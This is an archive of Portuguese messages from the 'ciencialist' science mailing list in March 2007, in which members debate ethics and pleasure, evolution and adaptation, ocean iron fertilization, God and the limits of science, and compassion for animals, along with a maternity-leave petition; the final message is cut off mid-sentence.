> > > > >> >
> > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > >> O
> > > > >> > atleta sofre muito durante a preparação para bater
> > > > >> > seus recordes com a intenção de ter o prazer de
> > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > >> > valorização,
> > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > >> caixa de
> > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > >> já
> > > > >> > era perseguido por Sócrates com muito empenho.
> > > > >> Perceba
> > > > >> >
> > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > >> > objetivo maior e legítimo do ser humano. As
> > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > >> > troca é prejudicial a
> > > > >> > mim e a todos que uso ou despacho para obter a
> > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > >> reflexão
> > > > >> > que fiz sobre isso, provocada há tempos
> > > > >> > pelo Bulcão, na lista Acropolis.
> > > > >> >
> > > > >> >>>>>>Concordo com a relatividade.
> > > > >> >
> > > > >> >
> > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > >> sua
> > > > >> > existência passa a buscar viver de verdade, ter um
> > > > >> amor de
> > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > >> e confortam
> > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > >> > a realidade com todas as sua conseqüências.
> > > > >> >
> > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > >> saiba mais
> > > > >> > verdades que uma pessoa comum. Com isso você
> > > > >> pensaria
> > > > >> > que conhece a realidade e seria bom para você.
> > > > >> > Não gostaria de entrar na MATRIX???
> > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > >> sair dela, da geléia geral
> > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > >> meios de comunicação
> > > > >> acionados pelos interesses comerciais e políticos.
> > > > >> Viver na realidade ou na
> > > > >> verdade dá mais segurança, harmonia,
> > > > >> tranquilidade... O melhor em tudo é não
> > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > >> isso que a Ciência
> > > > >> busca.
> > > > >> >
> > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > >> diversas
> > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > >> melhores
> > > > >> > momentos da vida vieram através da realidade e da
> > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > >> >
> > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > >> sair dela.
> > > > >> >
> > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > >> > fazem... Quanto a não
> > > > >> > ser punido ou não sentir remorsos não é uma
> > > > >> certeza
> > > > >> > obtida de antemão.
> > > > >> > Quando menos se espera vem a tal crise existencial
> > > > >> e
> > > > >> > aí o cara se
> > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > >> > traidor, etc. e nem sabe
> > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > >> e
> > > > >> > mentira.
> > > > >> >
> > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > >> aquelas
> > > > >> > que não sentem nenhum remorso em fazer ações
> > > > >> > consideradas más.
> > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > >> conscientemente alguém gera
> > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > >> para mim" que vai geram um
> > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > >> estudos dos diversos
> > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > >> identifica-se regiões onde
> > > > >> estão os "bancos de dados" e procedimentos de
> > > > >> avaliação ética-moral. Célebre
> > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > >> provocado por um prego
> > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > >> cabeça, mas ele continuou
> > > > >> consciente e aparentemente não prejudicou em nada
> > > > >> seus movimentos e
> > > > >> atividades intelectuais. Após a remoção do prego,
> > > > >> recuperação e volta ao
> > > > >> trabalho, observou-se que o cara estava com um
> > > > >> comportamento diferente,
> > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > >> daí começou-se a fazer
> > > > >> testes mais acurados sobre o funcionamento dessa
> > > > >> região afetada e de outras
> > > > >> regiões do cérebro.
> > > > >> >
> > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > >> pode
> > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > >> violência,
> > > > >> > mas é um distúrbio mental que não me parece grande
> > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > >> minha
> > > > >> > experiência de vida para discernir o que é melhor,
> > > > >> o
> > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > >> é
> > > > >> > um exercício diário que requer tempo, coragem e
> > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > >> outros
> > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > >> que tenha
> > > > >> > alguma chance de obter melhores resultados...
> > > > >> >
> > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > >> você
> > > > >> > disse é relativo.
> > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > >> crueldades e das maiores
> > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > >> fazer alguma ignomínia.
> > > > >> Basta estar na situação adequada para praticá-la. E
> > > > >> como sempre consideramos
> > > > >> algum ponto de referência pode estar certo que não
> > > > >> só o resto como tudo o
> > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > >> um ponto ótimo
> > > > >> inatingível como referência ou norte.
> > > > >> >
> > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > >> ilude
> > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > >> de
> > > > >> > qualquer investigação, até que alguém de dentro do
> > > > >> > esquema se sente enganado e, antes de ser
> > > > >> eliminado,
> > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > >> >
> > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > >> > ficarem sob segredo.
> > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > >> ser
> > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > >> mau
> > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > >> Note
> > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > >> jogos).
> > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > >> longo prazo quando todos
> > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > >> buscada permanentemente.
> > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > >> tirar o que vc já
> > > > >> ganhou prejudicando ou não prejudicando outras
> > > > >> pessoas. Esse é o normal na
> > > > >> maioria das nossas comunidades.
> > > > >>
> > > > > === message truncated ===
> > > > >
> > > > >
> > > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > > O que há é pouca gente para dar por isso... "
> > > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > > >
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> > > > >
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> > > > > No virus found in this incoming message.
> > > > > Checked by AVG Free Edition.
> > > > > Version: 7.5.446 / Virus Database: 268.18.9/719 - Release Date:
> > >12/3/2007
> > > > > 08:41
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> > > > [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] Fw: nanotecnologia
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 20:49

( o chato é que já deletei o ''original'' com o anexo.
vamos ver se + alguém fala...
deverá ter algo que ver com clorofila artificial? )


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Fw: nanotecnologia
>Date: Sun, 18 Mar 2007 10:31:46 -0300
>
>o anexo não chegou.
>Interessante que essa notícia não saiu nas gazetas ou revistas.
>
>sds.,
>silvio
> ----- Original Message -----
> From: murilo filo
> To: ciencialist@yahoogrupos.com.br
> Sent: Saturday, March 17, 2007 10:19 PM
> Subject: [ciencialist] Fw: nanotecnologia
>
>
> Oi, lista!
> Será possível um treco assim?
> obr/abr M.
>
> Subject: Fw: nanotecnologia
> >Date: Sat, 17 Mar 2007 21:56:14 -0300
> >
> >Bom dia
> >
> >No mar entre a Nova Zelândia e a Antártica foram espalhadas partículas
>de
> >20 nanômetros de ferro com o objetivo de produzir plancton que, por sua
> >vez, sequestraria o dióxido de carbono, reduzindo assim a temperatura.
> >
> >O efeito foi tão surpreendente e aterrador que um dos cientistas disse:
>"Se
> >tivesse meio petroleiro de nanopartículas poderia causar uma nova era
> >glacial no planeta".
> >
> >É o que escreve o Leonardo Boff em artigo publicado hoje em A Notícia e
>que
> >se encontra no anexo.
> >
> >
> >
> >Bom fim de semana
> >
> >
> >
> >Hélio Mazzolli
> >
> >
> >
> >
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
>
>------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.11/721 - Release Date:
>13/3/2007 16:51
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
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>Links do Yahoo! Grupos
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SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, eoenganodeJoseRenato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 21:30

Liliana, não podemos prever até onde vai a adaptação de cada um dos seres
vivos se ocorrer um aumento de temperatura na superfície da Terra.
Certamente, haverá adaptação que, se for bem sucedida manterá a espécie,
caso contrário haverá conseqüências danosas em toda a cadeia alimentícia. O
que Al Gore procura mostrar é como isso ocorre em uma amplitude que
normalmente não está perfeitamente visível. O urso pode se adaptar e não
hibernar, mas vai precisar caçar e comer nesse período. Se o alimento não
acompanha essa nova demanda ele vai ter de se adaptar também na alimentação
ou definhar.
[]s
José Renato
.................................
From: "lele_oneill" <lele@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 01, 2007 11:25 PM
Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes,
eoenganodeJoseRenato


Jose Renato, vc escreveu...

..."O urso hiberna se há estação de frio, se não há, ele não
hiberna. Ele se adapta à nova condição do ambiente."

Um dos exemplos do Al Gore no documentario "Uma verdade inconveniente" e
justamento o do urso que no inverno nao tera mais as geleiras para
andar...se afogara...nao tera mais caça - da qual sobrevive atualmente - e
se extinguira, quem sabe mais cedo que os Panda q estao se reproduzindo em
cativerio.
Liliana

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 14, 2007 11:10 PM
Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e
oenganodeJoseRenato


Homero, atente! Estou falando de adaptação do ser vivo ao ambiente e vc de
mutação genética. O urso hiberna se há estação de frio, se não há, ele não
hiberna. Ele se adapta à nova condição do ambiente.
[]s
JR
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 13, 2007 12:43 AM
Subject: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o
enganodeJoseRenato

Olá Jose Renato

Renato: "Jeff, entendo que a seleção proposta por Darwin ocorre depois
das mutações."

Ótimo, é um passo a frente que temos esperado há muito tempo..:-)

Renato: "Agora peço que tente entender que a adaptação independe de
mutações. O próprio organismo do ser vivo promove as condições mais
econômicas e adequadas para sobreviver a uma mudança no ambiente."

Bem, dois passos para tras..:-( Não, Renato, o organismo não faz isso,
no sentido de evolução. Qualquer "ajuste" feito pelo organismo tem de
estar previamente definido em suas capacidades, e previamente definido
em seus genes.

Um urso JAMAIS vai aumentar seus pelos se ficar frio, ele tem de
nascer com os pelos a mais, e só nascerá com pelos a mais se
ALEATORIAMENTE, sem intenção, a combinação de genes que receber de
seus pais assim determinar (aqui um alerta, um urso pode nascer com
genes que determinem que seus pelos aumentem ou diminuam com a
temperatura, mas mesmo isso TEM de estar definido na formação de seu
DNA, não é uma evolução individual).

SE não houver mutações, SE o DNA for identico ao ancestral que o
passou adiante, NENHUMA adaptação ocorrerá e NENHUMA evolução
ocorrerá. Nenhuma.

Nenhuma espécie se adaptará se não houver mutações, diferenças mínimas
nos genes dos descendentes.

Mesmo bactérias, que se reproduzem simplesmente se dividindo, tem de
contar com "erros" de codificação na divisão e duplicação dos genes,
ou não evoluiriam.

O que parece chamar de "próprio organismo do ser vivo promove as
condições mais econômicas e adequadas para sobreviver a uma mudança no
ambiente" é uma confusão com ajustes NÃO evolutivos, como, por
exemplo, a diminuição do metabolismo em tempos de pouca comida de
muitos mamiferos, com evolução por herança de caracteres.

A diminuição de metabolismo é algo "já determiando" nos genes do
individuo, não é um exemplo de adaptação evolutiva. Sei que vai
confundir tudo e dizer "como assim, não é um exemplo de evolução, pois
isso não aumentou as vantagens da espéice de sobreviver??!!"

Sim, a ESPÉCIE evoluiu, e agora apresenta essa capacidade de ajuste,
mas cada individuo nasce com a capacidade previamente definida, e NÃO
evolui para adquiri-la de nenhuma forma.

Isso cansa..:-(

Se seus genes que determinam essa capacidade, de diminuir o
metabolismo em tempos de pouca comida, não estiverem ativos ou
presentes, você NÃO vai evoluir e agir dessa forma. Vai morrer de fome
mais rapidamente que os outros, se a comida for pouca, jamais
"evoluindo" nesse sentido.

Entretanto, como vai morrer, esses genes com defeito, ou o padrão "sem
genes para diminuir metabolismo" não estarão presentes na próxima
geração de seres humanos.

Vamos para um caso concreto, algumas pessoas nascem sem a capacidade
de regular sua temperatura corporal como você e todos nós fazemos. Se
elas aquecerem demais (correr, por exemplo), tem de arrumar uma forma
externa de esfriar, ou vão morrer de hipertermia.

Um atleta de corrida treinava com baldes de água sempre por perto,
para jogar sobre seu corpo, mesmo em dias frios, para não morrer no
treino.

Este ser humano JAMAIS vai evoluir e adquirir capacidade de diminuir
sua temperatura. Jamais. Morrerá como nasceu.

Se seus filhos receberem, por azar, esses genes que não permitem
esfriar, igualmente terão problemas, e JAMAIS evoluirão nesse sentido.

Nenhum individuo evolui, espécies evoluem, devido a seleção natural,
que elimina (mata ou impede a procriação) os que, por azar, não tem
padrões de genes eficazes em sobreviver.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Jeff, entendo que a seleção proposta por Darwin ocorre depois das
mutações.
> Agora peço que tente entender que a adaptação independe de mutações. O
> próprio organismo do ser vivo promove as condições mais econômicas e
> adequadas para sobreviver a uma mudança no ambiente.
> []s
> José Renato
> ...............................................
>
> From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, March 10, 2007 10:44 AM
> Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes,
e o
> engano deJoseRenato
>
>
> > Olá,
> >>
> >> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não
consegue
> >> entender isso? Vc se estende em elucubrações sem qualquer sentido
ao que
> >> se discute, desnecessariamente.
> >>
> > Não se adapta, é selecionado pelo ambiente. Tente entender que a
seleção
> > ocorre *depois* de mutações, que são "aleatórias", sem a intenção
de se
> > adaptar ao ambiente.
> >
> > []´,s
> > Jeff.
>

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SUBJECT: Re: [Spam] [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e oenganodeJoseRenato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 21:46

Nesse comentário estou usando o termo adaptação para significar adaptação.
Quando eu preciso falar em mutação eu uso o vocábulo mutação.

Não vou lhe indicar livros, mas penso que vc já deveria estar com capacidade
suficiente para não escrever coisas como as que colo abaixo, que só fazem
encher de letrinhas o espaço do vídeo:

[ Estou falando de mutação genética porque SÓ esta é relevante para a
evolução. Um urso pode "se adaptar" a falta de inverno (na verdade, ele não
pode, um urso polar morreria se as estações se modificassem demais), porque
essa adaptação está contida em seu patrimônio genético. ]

Não é *só* a mutação genética que é relevante para a seleção das espécies...
Não só os ursos morreriam, mas sim todos os seres vivos, se as estações se
modificassem *demais*.

[]s

José Renato
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 14, 2007 11:51 PM
Subject: [Spam] [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e
oenganodeJoseRenato


Olá Jose Renato

Renato: "Homero, atente! Estou falando de adaptação do ser vivo ao
ambiente e vc de mutação genética. O urso hiberna se há estação de
frio, se não há, ele não hiberna. Ele se adapta à nova condição do
ambiente."

Eu tentei explicar (dezenas de vezes), o Takata tentou explicar (leia
a última mensagem dele sobre seu erro), o Jeff tentou explicar, e
muitos outros tentaram explicar. Você insiste no erro.

Não sei mais que fazer, Renato..:-)

Se "adaptar" no sentido do termo usado na teoria da evolução, está
ligado a mutações genéticas que podem ser passadas a descendência. O
urso "dorme" no inverno porque está em seu patrimônio genético dormir
no inverno.

Estou falando de mutação genética porque SÓ esta é relevante para a
evolução. Um urso pode "se adaptar" a falta de inverno (na verdade,
ele não pode, um urso polar morreria se as estações se modificassem
demais), porque essa adaptação está contida em seu patrimônio genético.

Está confundindo, mais uma vez, os termos e os aspectos da evolução,
dos genes, dos comportamentos, etc.

A evolução é a "filtragem de genes" provocada pela seleção natural,
que permite que ESPÉCIES se modifiquem, e se adaptem ao meio ambiente,
mantendo genes eficazes e descartando os ineficazes. Não tem nada a
ver com escolhas que um individuo faz em sua vida (a não ser aquelas
JÁ determinadas ou permitidas pelo DNA que ele carrega)

Renato, você não gostaria de ler um dos (muitos) livros que já
recomendamos para você, para desfazer os (muitos) erros que você
comete com relação a teoria da evolução? Até mesmo para poder
discordar com mais embasamento?

Por exemplo, o Rio que Saia do Éden, de Dawkins, O Polegar do Panda,
de Gould, ou mesmo o mais difícil, mas mais importante, o Gene Egoísta?

Ou A Beira d´água: Macroevolução e a Transformação da Vida, de Carl
Zimmer, um excelente livro para entender as forças cegas, a evolução,
a força da seleção natural, e outros aspectos da evolução.

Por favor, seria importante que entendesse onde está errando, e estes
livros ajudariam bastante.

Um abraço.

Homero




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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 22:20

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> esse efeito ?? Não vou ficar na brincadeira de aplicar
> "porques" ad infinitum mas caso eu ficasse uma hora
> voce se quebraria :p.

Não é o Chicão q quebraria. Não é a ciência q quebraria. Ninguém, nem
nada consegue responder a uma série infinitas de porquês.

> --- pois deveria ficar, pois ai chegaria onde vc e
> todos os cientistas "de coração" querem chegar: a
> deus. Ou se preferir, no infinitum.

Deus seria apenas uma parada arbitrária. Poderíamos perguntar: por q
deus existe? Por q deus quis assim e não assado? Etc. Tb não daria
conta da série infinita de porquês e quebrariam a cara.

[]s,

Roberto Takata



SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 22:21

200 vacas ou 1 ser humano?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> A ética universal está na razão de darmos a mesma a consideração ao
> sofrimento de outros seres como damos ao nosso próprio sofrimento,
> independente da espécie, do sexo e das habilidades intelectuais.




SUBJECT: licença maternidade ampliada para mães de prematuros (ajuda no abaixo assiando para sua votacao)
FROM: Claudio Miranda <csmiranda@yahoo.com>
TO: csmiranda@yahoo.com
DATE: 19/03/2007 00:12

Peço a ajuda de todos votando e encaminhando esta mensagem

"Campanha nacional para ampliação da licença maternidade para as
mulheres que tiveram bebês antes do tempo.

Tendo em vista o drama médico - social que representa o nascimento de
um bebê prematuro para a família e para a sociedade, além das
necessidades especiais que estes recém nascidos demandam, estamos
lançando um movimento em todo o Brasil para que as mães destes
lactentes tenham uma licença maternidade maior que os atuais 120 dias

O Projeto de Lei está disponível no sítio:
http://www.senado.gov.br/web/senador/luizpontes/lp_no_senado/projetos/PLS/2001/PLS190-01.htm "

E aqui vai um endereço de um abaixo assinado para que a lei seja
votada o quanto antes no Congresso.
http://www.aleitamento.com/a_lei_prematuro.asp
http://www.aleitamento.com/cadastra_lei.asp

Muito obrigada a todos pela atenção e saúde a todos nós.


============================
Claudio de Souza Miranda
Graduado em Contabilidade - FEA-USP/RP
Mestre em Engenharia de Produção - EESC-USP
Professor do Departamento de Contabilidade da FEA-USP/RP
csmiranda@fearp.usp.br

---------------------------------
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 00:35

Um texto interessante sobre a questão da maconha, o primeiro capítulo
do livro de Gabeira:
http://www1.folha.uol.com.br/folha/equilibrio/noticias/ult263u4313.shtml

[]s,

Roberto Takata



SUBJECT: O helicoptero de Santos Dumont
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 02:01

Alguém sabe onde posso encontrar uma foto do helicóptero de Santos Dumont?

A informação que tenho é que ela foi retratada na capa da revista "La
Vie au Grand Air" em 12 de janeiro de 1906.

A boa alma que me encontrar a foto (com a devida especificação da
fonte), ganha um livro de bolso.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 06:28

Takata >>> > Deus seria apenas uma parada arbitrária.
Poderíamos perguntar: por q deus existe? Por q deus
quis assim e não assado? Etc. Tb não daria conta da
série infinita de porquês e quebrariam a cara.

Olá Takata!

Esta é sua teoria. Sendo vc um cientista, lhe
pergunto: ela está baseada na prática? Se não, porque
vc não experimenta coloca-la em prática para comprovar
se é assim mesmo? Ai vc não precisará mais conjugar os
verbos assim "seria", "poderia", "daria", vc
simplismente dirá, "deus é", e etc ad infinitum...


abçomano
ferrari






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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 09:44

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Esta é sua teoria. Sendo vc um cientista, lhe
> pergunto: ela está baseada na prática?

Tto qto está baseada na prática a teoria q vc defende de q uma série
de "por q" derruba a ciência. Na verdade se baseia somente em indução
lógica. Se vale para um lado, vale tb para outro. O q impede de se
questionar "por q deus existe?", "por q deus criou o mundo?", "por q
não existe outro tipo de deus?", "por q não haveria um deus q criou
deus?"? Não apenas nada impede - a não ser um critério arbitrário
(como o medo de se questionar essas coisas, a satisfação pessoal de
encontrar a resposta em deus e não precisar prosseguir além disso ou a
aceitação da autoridade eclesiástica de q é um pecado continuar em
frente - e coisas parecidas) - como, logicamente, são perguntas q
surgem. A teopsicologia seria uma ciência interessante na
eventualidade de se descobrir q deus existe.

> Se não, porque vc não experimenta coloca-la em prática para
> comprovar se é assim mesmo?

Primeiro prefiro colocar na prática se é assim mm com as ciências. É o
melhor caminho, no meu ponto de vista, uma vez q é o caminho q
comprovadamente deu bons frutos até agora. Enqto o outro caminho até
agora não rendeu nada, a não ser promessa de q no fim - e não
especificaram qdo seria esse fim - seria um caminho recompensador. [Ou
seja, prefiro continuar no emprego q tem me pagado bem e com
regularidade do q mudar para um emprego em q até hoje ninguém recebeu
nada a não ser a promessa de q seriam regiamente pagos depois q o
serviço terminasse (e até agora ninguém q tenha terminado o serviço
deu seu depoimento pessoal - geralmente somem no meio de alguma tarefa
e ninguém nunca mais vê).]

[]s,

Roberto Takata



SUBJECT: Re: P/ Silvio Cordeiro que responde à Bruna. - Crueldade com animais
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 12:00

Bruna:

Usualmente chamamos, na lista, as pessoas por você, neste ambiente reina a igualdade de direitos e deveres
Chamar-me de Sr.,prezada jovem, é aprender ainda nova, ao sarcasmo. Espero que ele não afete sua vida.

Escrevi "no mundo atual", não expressei minha opinião, apenas relatei em curto espaço o que se percebe entre os humanos.

Agradeço o elogio de minha carência de dons espirituais, você é excelente analista, me conhece bem.
Não tenho o que vulgarmente chama-se de espírito (ex.: espírito de porco) nem tenho alma: sou um ser simplesmente formado por coisas existentes na natureza, um simples animal de uma espécie que Lineu chamou de homo sapiens pas que reclassifiquei para homo stultus, plagiando Charles Richet.

Você usou a palavra "dicotomia" possivelmente para dar elegância ao texto pois não citei nenhuma...
Apenas quiz enfatizar que é modismo, é ser moderno, cuidar de 100, 200 cães abandodados, sempre querendo benesses alheias, enquanto vivemos num maís que caminha rápidamente para se igualar aos da África sub-saariana.
.
Sua crítica mordaz é curiosa pois não tem sentido e seu texto é mais uma elégia à sua pessoa e seu progenitor.

Mas peço: não me diga adeus.... pense nos sofrimentos meus.....

Tenha uma boa tarde,

silvio.



----- Original Message -----
From: Bruna Carolina Ribas
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 18, 2007 11:58 AM
Subject: Re: [ciencialist] Re: P/ Silvio Cordeiro - Crueldade com animais


Sr. Silvio Cordeiro,

Por que deve ser utilizada esse dicotomia,
ajudar somente os da nossa espécie e não ter consideração pelas outras espécies?
Para o senhor é impossível ajudar crianças, velhos e animais abandonados, por exemplo?Sua capacidade de compaixão é tão limitada assim que deve ser dirigida apenas a uma classe?

Se sua resposta for sim, lástimo sua pobreza espiritual.
Condeno-me por dirigir estas duras palavras ao senhor, que tem a idade para ser meu pai, ou meu avô, pois saiba que meu pai, que amo profundamente,
ensinou-me a ter um coração generoso, compaixão pela vida acima de tudo e respeito pela natureza.
Por isso, na minha humildade, não farei aqui uma exibição da minha caridade,
porém, lhe confesso, que as pessoas com quem convivo e que ajudam aos animais, encontram tempo e disposição para ajudar muito quem necessita da sua própria espécie, e o contrário também é verdadeiro,
quem critica os que protegem os animais nada fazem pelos seus semelhantes humanos!!!

Atenciosamente,

um abraço e adeus,

Bruna

Silvio Cordeiro <scordeiroes@superig.com.br> escreveu:
No mundo atual se os humanos não respeitam nem os de sua própria espécie - a miséria e as doenças recobrem os humanos - essa de ter dó de animais passa mais pela vaidade, pelo desejo de se mostrar "diferente": quem diz ter um dó de animais possivelmente jamais ajudou de forma eficáz outros irmãos seus.

Amém.....

silvio.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 17, 2007 10:36 PM
Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais

Olá Murilo

Murilo: "Caramba, Horáculo...
Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
ela só está falando de algo denominado de ''empatia'', ou ''compaixão''."

Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
quero saber é em que ponto devemos colocar a linha que divide a
aplicação concreta dessa compaixão.

Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?

Em algum momento, sob pena de tornar o argumento absurdo, temos de
relativizar essa compaixão, não?

Agora, o que a realidade de milhões de anos tem a ver com esta
questão? Também não é uma pergunta retórica, eu realmente queria saber
sua resposta sobre isso.

Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
menor idéia do que isso seja.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Caramba, Horáculo...
> Vc já foi melhor!
> Frente à realidade estabelecida há milhões de anos, ela só está
falando de
> algo denominado de ''empatia'', ou ''compaixão''.
> abr/M.
>
>
> >From: "oraculo333" <oraculo@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> >Date: Sat, 17 Mar 2007 19:36:14 -0000
> >
> >Olá Bruna
> >
> >Bruna: "A ética universal está na razão de darmos a mesma a
> >consideração ao sofrimento de outros seres como damos ao nosso próprio
> >sofrimento, independente da espécie, do sexo e das habilidades
> >intelectuais."
> >
> >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> >questão de crença, devemos acreditar em você e pronto?
> >
> >Quer dizer, de onde tirou tal informação, que é uma das mais
> >importantes e mais polêmicas da filosofia, a existência ou não de uma
> >ética universal? Como só você encontrou a resposta, que tem dividido e
> >assombrado filósofos por séculos?
> >
> >Seria interessante saber como chegou a essa conclusão, o que a embasa,
> >quais as evidências, etc. Poderia resolver grandes problemas
> >filosóficos do ser humano.
> >
> >Em segundo, fiquei curioso com este trecho em especial, em relação a
> >parte prática, a forma de aplicar esse, generoso, princípio:
> >
> >Bruna: "independente da espécie, do sexo e das habilidades
intelectuais."
> >
> >Todos os seres vivos, independente da espécie? E das habilidades
> >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
